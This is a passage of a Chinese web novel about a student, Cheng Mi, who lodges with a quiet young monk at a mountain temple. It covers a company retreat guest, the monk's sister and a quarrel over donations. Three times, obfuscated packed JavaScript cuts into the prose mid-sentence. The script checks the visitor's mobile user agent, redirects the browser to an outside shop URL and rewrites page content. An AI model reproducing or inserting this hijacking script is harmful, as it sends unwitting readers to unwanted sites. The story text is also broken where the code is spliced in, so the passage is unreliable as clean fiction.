暮钟响起,日落山间,一旦把全部精力集中投入到一件事情上,时间就变得飞快。程觅复习完今日雅思考试的内容,沈岸寻刚好回来,左手上拿着两袋面包,一个豆沙馅的,另一个是全麦的,右手是一瓶草莓酱。 程觅吃饭的时候,沈岸寻便去洗漱,洗完,一整晚的时间都用来打坐,每一天都是如此。然而这天晚上,程觅把涂满草莓酱的面包塞进嘴里,见沈岸寻晾好毛巾,准备打坐时,起身上前打断了他。 程觅问:“小师父,有时间吗?” 沈岸寻本想走去蒲团那边,可程觅的胳膊拦在身前,于是回道:“有。” 转身拿来自己的错题本,程觅翻开第一页,指着空白处说:“给我写一下你的名字。” 沈岸寻不问原因,落低视线看着程觅的错题本,程觅把笔递给他:“写完就去打坐,耽误不了你半分钟的。” 接过笔,走到小桌子前,沈岸寻坐在小板凳上,把右手上的老山檀佛珠绕到左手上,继而握笔写字。“沈岸寻”三个字出现在程觅的视野中,看得他一愣,等他回过神时,沈岸寻早已回到蒲团上静心打坐了。 这字……写得也太漂亮了。 简直能出字帖了,程觅凝视着沈岸寻的名字,彼岸的岸,寻找的寻,不管是三个字组合在一起,还是拆开来看,都足够养眼。 程觅捧着错题本:“小师父,你的字怎么写得这么好看啊?” “有专门练过吗?练了多久啊?”程觅问,“光练是不够的吧,我就算每天描字帖我也写不出来这种水平啊,这得有天赋吧?” 按下佩服的心情,程觅不再开口,他怕打扰沈岸寻静修。把错题本摊开在桌面,单手支颐,程觅歪着脑袋欣赏沈岸寻的字,又瞄了一眼刻在桌角自己的名字,写得实在太过惊艳,怎么看都看不够。 在程觅心里,沈岸寻本来就是一个与他的生活毫不相干的人,程觅的世界花花绿绿,根本不可能有谁会像沈岸寻这么纯白朴实。对于程觅而言,如此“另类”的人,本身就容易吸引他,再会点儿什么本事,那就更令程觅着迷了。 难怪那双手长得那么好看。习惯性地指尖转笔,程觅回想刚才沈岸寻右手握笔写字的样子,回想着落笔用力时手背上凸起的骨骼和那白净细瘦的手腕……稍稍忘记了时间,一晃已是深夜。 后面几天,一有机会逮到沈岸寻,程觅便让他在自己的本子上写字,至于写什么都无所谓。沈岸寻索性就默写了《金刚经》,错题本每一页空白处能写的地方都写满了经文,清秀的字迹混杂在一大堆潦草的英文字母里,颇有一种“乱中有序”的美感。 这天傍晚,程觅靠在屋门口等着沈岸寻回来,等着吃晚饭,等着让他继续给自己写字。远远的,程觅听见寺院后门有动静,他知道是沈岸寻,于是抬眼望过去,望着昏暗的视野里两道并排行走的身影,微微凝起眉心。 沈岸寻带回来一个人……一个男人。 “你就是程觅吧?”男人笑眯眯地摘掉遮阳帽,卸下背包,“空觉师父跟我说了他家里住了人,你好,我叫郭军。” 程觅说:“你好。” “这两天不是檀赞寺的开放日嘛,刚好我们单位团建,组织我们来寺庙清修三天。”郭军道,“院里师父们的宿舍都满员了,我就被分配到空觉师父的住处了,希望没有打扰你们。” 打扰了。程觅嘴上说:“没事。” “空觉师父说你睡了床,另一位师父给我准备了被子和席子,我打地铺就行。”郭军继续道,“你们该忙就去忙,不用管我,我自己收拾就行。” 自己收拾?程觅斜睨着沈岸寻,心说,被子和席子全是小师父背回来的,你自己收拾个屁。 三人陆续前后进屋,程觅接过沈岸寻带回来的晚饭,刚在自己的小桌子前坐下来,对面就多了个人。郭军把背包放在程觅的桌子上,蹲在桌沿前,抬眼打量四周,挥着帽子扇风,表情有些不太好看。 “这么简陋啊。”郭军语声埋怨,“比其他师父的宿舍差远了。” 程觅当场回过去一嘴:“那你应该好好想想为什么偏偏把你单拎出来住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381691|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在寺院外面。” “因为我不想跟领导住一起啊。”郭军没听出来程觅话里的深意,“在领导面前做什么都不自在,也不方便,还是单独住比较自由。” 桌上的书包太碍眼了,程觅莫名其妙变得烦躁不安。郭军一直拿帽子扇风,余光里总是有个东西在晃动,程觅干脆侧过身,不再面对着郭军,去看沈岸寻。 沈岸寻蹲在地上给郭军铺席子,程觅看了一会儿,看不下去了,撇嘴道:“你不是说要自己收拾吗?” 郭军冲着沈岸寻的背影问:“空觉师父,用我帮忙吗?” 沈岸寻没作声。 “空觉师父不爱讲话,但是特别照顾我们。”郭军笑道,“谢谢空觉师父。” 程觅感觉自己现在就是个火箭筒,马上就要窜天了。 “空觉师父人可好了,刚才在佛堂诵经,给我们每个人都泡了茶。”郭军依旧笑着,“虽然他不怎么跟我们交流,但有关经文上的问题,只要有不懂的,他都会耐心地给我们解答。” 程觅往刘海上吹了口气。 “对了,你知道空觉师父的字写得有多好看吗?”郭军说,“虚云大师对此也是赞不绝口,送给我们的《金刚经》也是空觉师父写的,每人一本,听说是空觉师父知道我们要来清修,这两天特地亲手写了一本加急复印出来的。” 每人一本?我都还没有呢!程觅心下怒吼,觉得自己要暴走了。 席子和被子铺好了,离沈岸寻的床有些距离,离他打坐的蒲团比较近。沈岸寻站起身来,郭军又道:“领导总嫌我的字丑,签合同的时候拿不出手,还让我多跟空觉师父请教请教。” 程觅拧着眉毛闭上眼,讲到这里,郭军面朝沈岸寻,巴结道:“空觉师父,这两天还得多麻烦你手把手教教我写字啊,不用多写其他的字,只要能把我的名字签得好看点儿就行。” 有完没完!程觅咬紧后槽牙:“你丫能不能闭……” “这是给你写的手抄原本。” 目光不自觉顺着沈岸寻落下的手转移到面前的白色本子上,那是用A4白纸钉起来的薄本,程觅定睛一看,封页上写着《金刚经》。 程觅诧异地抬起头,原本碍眼的背包消失了,沈岸寻拿起郭军的背包放到铺好的席子上,转头对郭军说:“清修不宜多言,早点休息吧。” 23.第23章 正文023 檀赞寺每个季度都会有开放日,接纳各种公司旅行团来此清修,体验佛家文化,来一场净化心灵的修佛之旅。寺里通常会准备礼物赠予来此清修之人,这次赠送的手写版《金刚经》是沈岸寻主动提出来要亲自书写的。 借这次开放日的光,每一位师兄弟都收到了一本复印版,平时吵着要沈岸寻给他们写,沈岸寻都没有时间。不过只有虚云大师清楚,沈岸寻之所以会在百忙之中腾出时间来用心抄写,绝非是开放日的原因。 由于是钢笔书写,下笔的力道有些重,纸张起了一点细微的褶皱,程觅翻开沈岸寻手写的《金刚经》,体内刚燃起来的怒火瞬间被眼前清爽干练的一页字浇灭了。 郭军识趣地应了一声沈岸寻,整理好自己的物品,轻手轻脚去屋外洗漱,之后他也没再多话,解锁手机玩到深夜。沈岸寻依旧打坐,程觅复习好便把小桌子搬到床铺旁边,把《金刚经》挨着桌沿摆放,这样能离床更近,然后躺到床上满足地睡着了。 次日炎阳高照,屋内只剩程觅一人。洗漱完已经快十点半,程觅照常闷头学习,可是他这次却难以静心。 沈岸寻需要应付多少人?那些外来人都会围着他转吗?那他累不累,他的师兄弟们会替他分担吗? 这帮人不会都逮着沈岸寻一个人问问题吧?那他得说多少话? 为什么要沈岸寻给他们泡茶啊?那么多人得泡多少杯啊?心里乱七八糟的,程觅“嘶”了一声,笔下的英文单词拼错了——我都还没喝过沈岸寻泡的茶呢! 还得教他们写字吗?这帮人到底是不是来檀赞寺清修的,要清修就自己清修,能不能别折腾沈岸寻啊?尤其是那个郭军,程觅想到他就来气,手往下巴上一托,没托住——不会真的要手把手教那个傻叉写字吧! “不学了不学了,今天老子要休息一天!”程觅一巴掌拍合书本,起身便往檀赞寺后门跑去。 八月中旬,山外如同蒸笼一般,檀赞寺里的气温却清凉。程觅绕过财神殿,顺着人声直捣位于寺院正中间的三佛殿,这次来清修的约莫有二三十人,看穿着打扮,应该是公司内部上至领导下到基层员工全都来了,有脖子上挂着大金链子的,也有脚上踩着平价拖鞋的。 程觅站在高阶上朝人群尽头眺望,领队的讲解员是他不认识的僧人。目光在人群中搜索……果然,沈岸寻正被郭军缠着,那人不知道正在念叨什么,挨着沈岸寻问东问西。 离得这么远,程觅分明什么也听不见,他却觉得耳边聒噪极了。实在不好上前打扰,这毕竟是沈岸寻的工作,程觅从人群外侧绕到佛殿右面的长椅上坐下来,心里不停嘀咕:今天是周末吧,这算加班儿吗?应该能拿加班费吧?寺里谁发工资啊?虚云大师吗? 有人在听僧人介绍寺院的历史,大多数人还是在用手机拍照,拍高耸的菩提树,拍盛开的牡丹花,拍院墙琉璃瓦,拍汉白玉石桥两侧的水池,拍池中嬉戏的锦鲤……还有人在偷偷拍沈岸寻。 沈岸寻肯定不是第一次被人偷拍,不然程觅也不会在网上看到他的照片。沈岸寻也肯定知道有人在拍他,他并不恼,也没有显得不自然,动作神情亦如平常。 程觅靠着椅背,时不时交换着二郎腿,观察着沈岸寻的一举一动,浮躁的内心逐渐平静下来。 花里胡哨的人海中裹着一抹清幽的木兰色,沈岸寻的罗汉卦朴素极了,他此时正好站在七叶树下,茂盛的绿意生机勃发,阳光被树枝打散,沈岸寻的身上粼粼闪闪,洒满了细碎的光斑。 程觅一双眼睛牢牢注视着沈岸寻的身影,目送他迈入大殿,殿内两侧摆着斋饭,看样子似乎是到了吃午饭的时间。 所有人收声坐定,止语后是听空眀师父诵经。诵经完毕,开始用餐,简单的青菜玉米,配一碗素汤,主食是米饭,还有红枣馒头。 用餐时间不长,程觅听见其他僧人正在为清修者们介绍下午的活动安排,有抄经和描金,也有品味禅茶和听佛音,还可以去弥勒佛殿听虚云大师宣讲佛学智慧。 上午的活动应该是全部结束了,人群从大殿中退出来,等了片刻,程觅才看见沈岸寻。沈岸寻身旁是两位女性,看模样大概五十岁左右,郭军也在他旁边,三人都拿着手机,都想和沈岸寻合影。 沈岸寻被左右夹击,手机举在他脸前,这人却能依旧保持着淡定自若的神态,两边胳膊往里收了收,腿脚也收拢,立掌念了句“阿弥陀佛”。 “噗。”程觅不由得笑出了声。 “盯人看多久了?” “我靠!”耳边突然响起一抹带着笑意的女声,程觅吓得捂住心口,往身边一瞧,先是被沾着阳光的金属耳环闪了下眼睛,又闻见一股清甜的香水味,原来是沈思妍。 “姐,你什么时候来的啊?”程觅问。 沈思妍将鬓角细发挽到耳后,摘掉墨镜口吻玩趣地说:“我都坐你旁边半天了。” 瞄了一眼沈岸寻,程觅又问:“你来看你弟弟?” “嗯,今天没什么事儿,就来看看他,顺便蹭顿午饭。”用墨镜腿指了指大殿东侧空地上支起的两张桌子,沈思妍道,“檀赞寺的斋饭很适合我,不用担心长胖。” “你们姐弟俩一个赛一个瘦。”程觅说,“小师父天天吃得那么少,还就吃两顿饭,他倒是习惯了,你可不行,别到时候营养不良,贫血气亏,我可提醒你啊,面色太差会影响颜值的哦。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384931|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你真贴心。”沈思妍弯起眼角,“谢谢关心。” 寺内的散客此时都往长桌边聚拢,桌上有一次性纸碗,可以随意选择想吃的食物。程觅早上没吃饭,这会儿饿得眼冒金星,哪怕是来碗素粥,他也能吃得津津有味。 沈思妍说:“我去给你盛点饭吧?” “哪儿能劳烦美女姐姐为我忙活啊,你先去吃吧。”程觅道,“我怕我去吃了别人该不够了,我最后扫荡一波就行。” “我不饿,陪你坐会儿。”沈思妍正想找机会跟程觅聊聊。她刚到这儿时碰上了虚云大师,询问了几句沈岸寻的近况,颇为意外程觅竟然还和沈岸寻住在一起。 “听说,岸寻很照顾你。” “那可不。”程觅道,“别看你弟身上一股子‘生人勿扰’的气场,小师父到底是出家人,绝对的慈悲心肠,不仅收留我,还默许我一直住在他那里,因为他,我都愿意相信这个世界上还是好人多。” 沈思妍问:“平时你们交流多吗?” “不多,他不爱说话,准确来讲,是他从来不主动说话。”程觅回答,“不过我也习惯了只有我跟他不停地念叨,他偶尔能回复我一句我就已经很开心了。” 沈思妍垂下眼:“他有主动为你做过什么吗?” “做饭算吗?”程觅说,“做饭不算的话,前两天他刚给我做了一张小木桌,因为我要学习,没地方放书本。” “是嘛。”沈思妍盯着自己的鞋尖笑了笑,“虚云大师说,他把你当朋友,岸寻从没主动为别人做过什么,从来都是别人有需求、有求于他,或者是寺里做慈善,他觉得那是他应该要做的,才会去做。” 应该要怎么接沈思妍的话,程觅想了半天,勉强拖长尾音憋出来一个“哦”字。他从沈思妍的语气里听出了羡慕的情绪,这也难怪,沈思妍是沈岸寻的亲姐姐,沈岸寻对她的关心却不如一个外人,这让程觅顿时觉得是自己话多了。 沈思妍没再讲话,程觅也不知道还能再说点什么,需不需要安慰她,还是就这么陪她坐着?脑中胡七八想,时间也就这么过去了。 斋饭所剩无几,程觅在等沈思妍先起身,她不吃,他也不会先去吃。 就在两个人两厢沉默的时候,沈岸寻朝这边走了过来。程觅先看见了他,起身去迎,沈岸寻说:“该吃饭了。” 程觅问:“你吃过了吗?” 沈岸寻回答:“吃过了。” 听见沈岸寻的声音,沈思妍没抬头,两只手撑在长椅上,安静地注视着地面。忽然,身前的光亮被人影遮盖,沈思妍愣了一下,诧异地仰起脸,沈岸寻的声音同时响起。 “今天有你喜欢吃的紫甘蓝。” 24.第24章 正文024 沈岸寻说完这句话就走了。 程觅注视着沈岸寻的背影,看了片刻转回头时,表情一瞬惊讶。他从没对女性有过任何走心的评价,好的坏的都没有,从不背后议论,虽然很会哄女孩子开心,比如之前哄沈思妍,但要说是否真心实意评价过一位女性,他还没有过。 此时此刻,他是真心觉得沈思妍很漂亮。 沈思妍的笑容不同以往,程觅初见她时,尽管她经常笑,但笑意里总是带着点苦。今天的沈思妍穿了一身干净的白裙子,脚上是双浅咖色的坡跟鞋,斜挎着小巧的链条包,坐在阳光里,唇角细微上扬,这让程觅觉得眼前的这个人是真的让他移不开眼。 仔细这么一瞧,沈思妍和沈岸寻长得又不太相似了,或许是因为程觅没见过沈岸寻笑起来的样子,今天看见如此好看的沈思妍,程觅的心思不受控地拐了个弯儿,他忽然很想知道沈岸寻的笑容是不是也像这般好看。 程觅盛饭的时候,斋饭又上了新,粥和榨菜多了些,凉拌的紫甘蓝也多了小半盆。沈思妍的状态肉眼可见开心了不少,程觅见她盛了一大碗紫甘蓝,舀了一小碗山药粥,还夹了一个豆沙包。 白桦树下有木桌椅,程觅坐下身时,对沈思妍说:“你弟弟记得你爱吃紫甘蓝哎。” “因为我每次来寺里蹭饭,只要有紫甘蓝都会吃很多,我没想到他会记得。”沈思妍没忍住笑,“更意外的是,他今天居然会主动跟我讲话,主动告诉我。” 程觅一口咬下去半个白菜粉条包子:“他肯定是在意你的。” 沈思妍没接话,放在以前,就算是沈岸寻在意的事情,也不会将心里的在乎宣之于口。至于现在为什么会有这样的变化……夹起一片紫甘蓝品尝,沈思妍抬眸若有所思地看了一眼程觅,对方正饿得狼吞虎咽。 “你就吃这些?”咽下嘴里的食物,程觅显露出担忧,“这量也太少了吧。” 沈思妍道:“我的工作需要我保持身材。” 程觅反驳:“中午这顿又没事,尽管放开了吃,晚上少吃不就行了,再需要保持身材也不能中午吃得这么少啊。” “错了。”沈思妍拿筷子点了点紫甘蓝,“晚上其实也不用少吃,只要一天三顿饭吃得干净,七分饱腹感,不仅能保持,有时候还能掉秤。” “紫甘蓝是减肥的,更可以保持皮肤健康,推荐你也多吃点。”沈思妍拿起程觅的筷子给他夹了几片,说,“你来檀赞寺住了几天,饮食肯定比在外面吃得干净,上次见你,你额角上还长着颗青春痘呢,这次见就没了,皮肤也比之前白净不少。” 程觅一听,两只手往脸上拍了拍,感受了一下皮肤弹性,赶忙吃了一片紫甘蓝:“真的假的?我变好看了吗?” 沈思妍笑得非常阳光:“嗯。” “姐。”两人边吃边聊,程觅的声音压得很低,出家人讲究食不言寝不语,他做不到入乡随俗,只能小声问,“你到底是做什么的啊?” “你不是猜我是女明星吗?”沈思妍也小声回答,“唔,八九不离十吧。” 程觅说:“哇哦~那你有空给我签个名呗。” 沈思妍道:“现在有空。” “行。”程觅进食的速度很快,不像沈思妍细嚼慢咽。迅速吃完饭,他把空碗摞在一起,起身说,“你等我下,我回屋拿下纸和笔。” 也就几分钟的工夫,程觅回了趟木屋,拿来了自己的错题本和签字笔,重新坐到沈思妍对面。他把错题本展开,指着沈岸寻的名字:“你知道你弟弟写字写得超级无敌好看吗?” 沈思妍愣住了,表情微讶,她拿起程觅的本子,盯了许久,往后翻动几页,半晌才道:“这是……岸寻的字?” “是啊,我当时看到也愣了半天。”拔开笔帽,程觅把笔递给沈思妍,“你就在你弟弟的名字旁边给我签个名吧。” 沈思妍,思念的思,女字旁一个开,是这两个字。程觅默念了一遍,觉得姐弟俩的名字都很好听。 程觅问:“你们的名字是父母取的吗?还是家里的长辈?” “我爸爸。”沈思妍回道,“他是个很有文化的人。” 终于能把心中的疑问问出口了,程觅赶紧顺话道:“你爸妈是怎么舍得把自己的儿子送来檀赞寺修佛的啊?这样的父母实在太少见了。” 问是问出口了,可程觅问完就后悔了,后悔自己又多嘴了。沈思妍眼里的光亮暗了下去,想要夹菜的筷子悬停空中,过了几秒,她才继续吃饭。 “我也想问呢。”沈思妍故作轻松地笑了一下,“我也想问问我妈,是怎么舍得把弟弟送进寺庙的。” “那就问……”话音中断,程觅及时闭上了嘴,立马转移了话题,“阿姨肯定是有她的考量,没有父母不希望自己的孩子过得好,她这么做一定有她的理由。” 想问,却没问,要么是母女关系不合,要么……是母亲已经不在了,沈思妍问不到了。 沈思妍没再回话,自顾自吃饭,程觅一直陪着她,直到她吃完。抱着本子,将人送到寺庙门口,沈思妍下午还有工作,程觅本想陪她走下山,看着她上车之后再离开,却被对方拒绝了。 “知道你绅士,不过真的不用了。”沈思妍戴上墨镜,“月底我还过来呢,我们应该还能再见到。” 程觅点头:“一定能。” 沈思妍笑道:“我弟弟就拜托你了。” “姐,说笑了不是。”程觅抬手挠挠眉毛,“应该是我说‘我拜托你弟弟’吧,我才是那个受照顾的对象。” 沈思妍轻抿唇角,没再多言,转身迈下台阶。程觅目送沈思妍离开之后,才开始想自己的事情,要不是刚才沈思妍提到了“月底”,他差点忘了高三快要开学了。 开学之后还有机会来找沈岸寻吗?以什么名义来找他呢?别人家是能随便想住就住的吗?况且,也没理由继续住下去吧。 边走边琢磨,回到木屋里做题的时候偶尔会想这个问题,复习完一直在想,程觅靠在门边远眺着寺院后门,直到……郭军和沈岸寻一起出现在他的视野里。 烦死了! 两人朝着程觅走近了,郭军又开始叽叽喳喳,不过不是跟程觅,而是在跟沈岸寻聊天——单方面聊。沈岸寻不言,郭军也没停,一会儿问沈岸寻这么多年吃素是怎么忍住不开荤的,一会儿问修佛真的能了却红尘事,什么都不在乎了吗?一会儿又问人活一辈子就为了修个耳根子清静?不觉得无聊吗? 看见程觅,郭军客气地打了声照顾,程觅送给他两个白眼儿,接过沈岸寻带回来的晚餐,吃完乖乖洗漱,然后躺在床上玩了会儿手机。到了睡觉的时间,程觅翻来覆去怎么都睡不着,不是别的原因,单纯是因为郭军的呼噜声打得震天响。 昨晚郭军没怎么睡,今天行程太满累过劲儿了,呼噜声一时半伙儿没有要停的意思。 幸好只有三天两晚,程觅从床上坐起来,瞄一眼安静打坐的沈岸寻,坐了几分钟,胡撸一把头发,又躺下去了。侧过身面朝沈岸寻,闭上眼,右手习惯性塞到枕头下面,程觅又把眼睛睁开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390202|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,诧异地将手往回抽,抽出来了沈岸寻戴的那串老山檀佛珠。 沈岸寻是什么时候把佛珠串放在枕头下面的?程觅边回忆边入睡,闻着熟悉的檀香味,内心忽然感受到了一片安逸,竟然慢慢睡着了。第二天醒来地上已经没了郭军的铺盖,程觅心情大好地完成了一天的学习任务,太阳落山的时候,站在木屋门口等来了沈岸寻。 “小师父,你说有的人是不是特别没有眼力见、没有自知之明啊?”程觅叹了口气,“那个姓郭的,难道感觉不出来自己总是在给别人添麻烦吗?” “虽说背后议论别人是不礼貌的吧。”程觅跟着沈岸寻进屋,“但我就是看不惯他老是在你旁边叽叽喳喳的样子。” 沈岸寻端着盆要去洗衣服,程觅跟他一道,靠在水池边还在愤愤不平。直至夜幕降临,屋里熄了灯,程觅躺在床上伸了个懒腰,不禁得意,还是他跟沈岸寻两个人住才最舒服。 闭上眼睛,没一会儿,程觅倏地坐起身,震惊地瞪着沈岸寻打坐的身影。他突然想到了一个问题,郭军这个人,对于沈岸寻来讲……不正是他自己吗! 人家郭军好歹是被分配过来住沈岸寻的屋子的,接待他是沈岸寻的工作,而他自己呢?可以说是擅自闯进来的不速之客,岂不是比郭军更没礼貌! 人家郭军满打满算也就缠着沈岸寻两天问东问西,而他自己呢?可以说是每时每刻,每天每夜,都在沈岸寻耳边叨叨个没完没了…… 人家郭军就麻烦沈岸寻帮他拿点东西,铺个被子,而他自己呢?可以说是一日三餐基本都需要沈岸寻照顾,这一照顾就是大半个月,比郭军占用的时间多太多了。 郭军招人讨厌,那他呢?程觅不淡定了,沈岸寻究竟是怎么看待他的?会烦他吗?沈岸寻的确说过自己没给他添乱,出家人慈悲为怀,是不是因为客气?没添乱就代表真的不烦他吗?应该是吧? “是不是啊?”程觅不自觉脱口而出,他实在不愿意打扰沈岸寻打坐,可他的心思已经被这个问题包裹住了,满心忧虑,就想知道沈岸寻会不会像他烦郭军那样,厌烦他——执着到连程觅都觉得自己无药可救了。 “我和郭军其实没什么两样吧?”塌下肩膀,程觅丧气道,“小师父,你会不会觉得我很烦人?” “我现在就挺烦人的。”程觅语气检讨,“别的不说,光是在你打坐的时候就吵过你好几次了。” “我要是你,我早就发飙了。”程觅撇了撇嘴,“我还嫌人家姓郭的烦,我其实和他有啥区别。” “越想越觉得自己烦人,可不说出来我又睡不着,我这没完没了地问,还不如郭军打呼噜呢,最起码不会对你产生什么实质性的影响。” “小师父。”程觅“嘶”了一声,他从没觉得自己这么烦人过,“你要是觉得我烦,我可以马上走,反正我也要开学了,开学之后我不知道还能不能来找你了,要是不能……” “能。” 一个字,让程觅适时地闭上了嘴。黑暗中,沈岸寻纹丝不动,可讲出口的字,程觅却听得清清楚楚。 这个回答化解了程觅心中所有的不安,让他瞬间安静了下来。 吞咽一口吐沫,程觅克制住内心的喜悦,蚊子声问:“真的……能吗?” 他有点患得患失的,想再听沈岸寻说一句,想再跟对方确认一遍。 话音消散在木屋里,周遭一片静谧,唯有窗外风过竹林间发出的窸窣响动。半晌,沈岸寻轻轻叹了口气,缓慢睁开眼睛,偏过头看向程觅,温声回道:“真的。” 25.第25章 正文025 程觅终于适可而止了。 心满意足地躺回床上,天花板上爬着一只小蜘蛛,程觅定睛凝视,又开始自我检讨。 平时的他,绝非是一个爱钻牛角尖的人,他特别懂得学会放过自己,一旦把自己逼得不愉快了,他就不会再去想了。 他也想不通为什么非得跟沈岸寻要个答案,烦也好不烦也罢,不是一向自己舒坦了就行了吗?管别人怎么看、怎么想呢? 可就是不行,程觅坚决不能让沈岸寻反感自己,他偏要知道沈岸寻对他的看法,不然他寝食难安。 或许是程觅从小到大都没有完全接受过一个人的照顾,他向来是有借有还,受了谁的恩惠便要加倍还回去,不能亏欠任何人。如今事实却是,他亏欠沈岸寻太多了,受了太多他的恩惠,所以不想再给沈岸寻心里添堵。 无所谓是什么原因了,程觅单手背后,闭合双眼。总之,他听到了他想要的结果,其他暂且不论,这就足够了。 在檀赞寺度过的每一天都很安逸,这里与世无争,没有喧嚣和争吵,只有清静。程觅在这里生活甚至想不起来他那堆破烂家务事,除了跟方姨了解冉菁遥的情况,他几乎不想再和程家产生任何瓜葛。 这天中午,程觅复习完,迈过寺门去吃免费的斋饭。看见紫甘蓝,他想起了沈思妍,想到她说紫甘蓝的功效可以减肥又能保持皮肤健康,他讨厌脸上长青春痘,严重拉低他的颜值,他想给沈岸寻留下的都是好印象,于是多盛了一盘。 不过这一次,耳畔的清静却被旁人打破了。 香客们正往财神殿前聚集,程觅闻声抬头,用餐的地方离财神殿有些距离,起初他并没有理会,但随着几名僧人朝那边快速跑去,程觅有点坐不住了,抱着好奇心放下了碗筷,跟上他们快步走向声源。 财神殿前围了一圈人,大殿门口站着一位老僧,程觅眼熟,认出是虚云大师。被人群围住的男人看上去明显狼狈,一身西装革履,模样端正,领带却歪了,眼镜上起了雾,额角挂着汗珠。 “我不管!你们把钱还给我!”男人的声音不大,可能是畏惧神佛,语气却重,字字咬得清晰,“我那么虔诚地磕头祈祷,往功德箱里塞了那么多钱,屁用没有!都是骗人的!” “运气该不好还是会不好,炒股该亏钱还是会亏钱,怎么祈祷都没用,怎么求佛都没用!”男人吸了吸鼻子,维持着理智,强硬道,“什么拜佛,什么烧高香,都是你们这帮和尚拿来骗钱的,我真愚蠢,想要赚钱哪儿有先破财的道理!” “我往功德箱里塞了五百块钱,那么多钱,都进了你们这群臭和尚的口袋里了!”男人恶狠狠地指着虚云大师,“你们每天什么都不用做,兜里就能生财,我们全是傻子,信什么佛,还不是叫你们把钱都骗去了!” “这就是个巨大的骗局!利用我们脆弱的心,来达到你们赚钱的目的!你们根本不是佛祖,不是菩萨,就是一帮臭流氓!” “小伙子你怎么说话呢?”人群中,有位中年女人听不下去了,“所有来这里烧香拜佛的人都是心甘情愿的,你往功德箱里塞多少钱,那是你自愿的,没有人逼你,又不是佛祖让你亏钱的,你把火撒在不相干的人身上,还有良心吗你!” “看看,看看!”男人转而又去指说话的女人,“都是被洗脑了的,一个个花着冤枉钱还不自知,居然还在替赚钱的人颠倒是非,太可怕了,这是什么世道!把钱还给我!” “阿弥陀佛。”空眀师父上前一步,“施主,稍安勿躁,还请您先去斋堂用餐,稍后我们会在禅房为您排忧解难。” “别假惺惺的,还钱!”男人冲着僧人大嚷,此刻也不再忌讳这里是不是佛教圣地,持续提高音量,“排忧解难?大道理讲得一套一套的,话说得再漂亮、再迷惑人心,实际上你们能真正做些什么?光会安慰人有什么用?我还不如留着钱去看心理医生呢!” 空眀恐怕也是皈依佛门之后第一次遇到如此胡搅蛮缠的人,一时进退两难,右手依旧立在胸前,目光却看向了虚云大师,神色显得十分无奈。 男人看出来这里管事的是眼前的老僧,二话没说,迈开腿朝着虚云大师踱步而来,那架势,虽不至于动手,但至少是想给对方足够的压迫感,好能达到多坑些钱的目的。 身处暗处的沈岸寻动了动身子,不过在他行动的前一秒,一道身影“唰”地闪现在虚云大师面前。没等男人看清来者何人,耳朵已经被揪了起来,程觅高他半头,眼神如刀,带给人的压迫感比对方更甚。 “大哥,是不是个男人啊,你运气不好怪命别怪人,跑这儿来撒泼算什么本事。” 本能地往后一回肘,程觅后退两步躲过男人的回击,右手虎口当即卡住男人的后脖颈,左手发狠地攥住对方的手腕。 “疼……疼!”男人厉声道,“你谁啊!这可是你先动的手啊,我要请律师!我要打官司让你赔钱!” “我谁啊?老子是你财神爷!”程觅压制住躁动的男人,环视一圈四周,拖着人往避人耳目的佛教用品店转移,“你说师父们把你当傻子,你不也把我们当傻子吗?你真塞了五百块钱?谁拜个佛塞五百?家里有矿闲的啊?骗人好玩儿吗?” “疼!对!我骗人了!我没塞五百,我塞的是一千!” 把人丢进用品店,售货员看了全程的热闹,赶忙跑过来拉住程觅:“小伙子,你可别真动手啊,小心他讹你。” 抱起胳膊,程觅冲售货员挑了下眉:“他也配哦。” 男人捂住发红的耳朵:“我要请律师!” “请呗,我看你还是有钱。”程觅掏出手机,对着柜台上的二维码一扫,“阿姨,给我拿一千现金。” 售货员瞪圆了眼睛:“啊?” 程觅的声音往下一压:“啊。” 半信半疑地走回柜台里侧,售货员摁开收银机,取出一千块钱现金,犹犹豫豫地递给程觅:“你真要给他啊?” “给。”一秒钟工夫,售货员手里的现金已经杵在了男人眼前,程觅朝他抬了抬下巴,“要告我,还是要这些钱,你自己决定吧。” 根本不用多思考,男人伸手便要拿钱,程觅倏地往回一抽手,背着身子微微偏头,冲售货员说:“劳烦您帮我拿张A4纸。” 售货员立马照做,程觅思路清晰道:“按我说的写,一个字都不许落。‘我保证,拿了一千块钱,绝不再找任何人麻烦,这辈子不会再踏进檀赞寺半步。” 说完,程觅把笔拿给男人:“写完签字。” 男人扶了扶眼镜,沉着脸拿过来笔,潦草地书写完,在落款处签好自己的名字。 程觅认真检查,继而补充:“写上日期。” 男人顺从地在名字后面补上了日期。 递给男人一千块钱,程觅把保证书交给售货员保管,同时开口:“大哥,天下苦命人这么多,没有苦命人为难苦命人的道理,谁都可以祸害你过得不好,至少檀赞寺里的师父们绝对不会。” 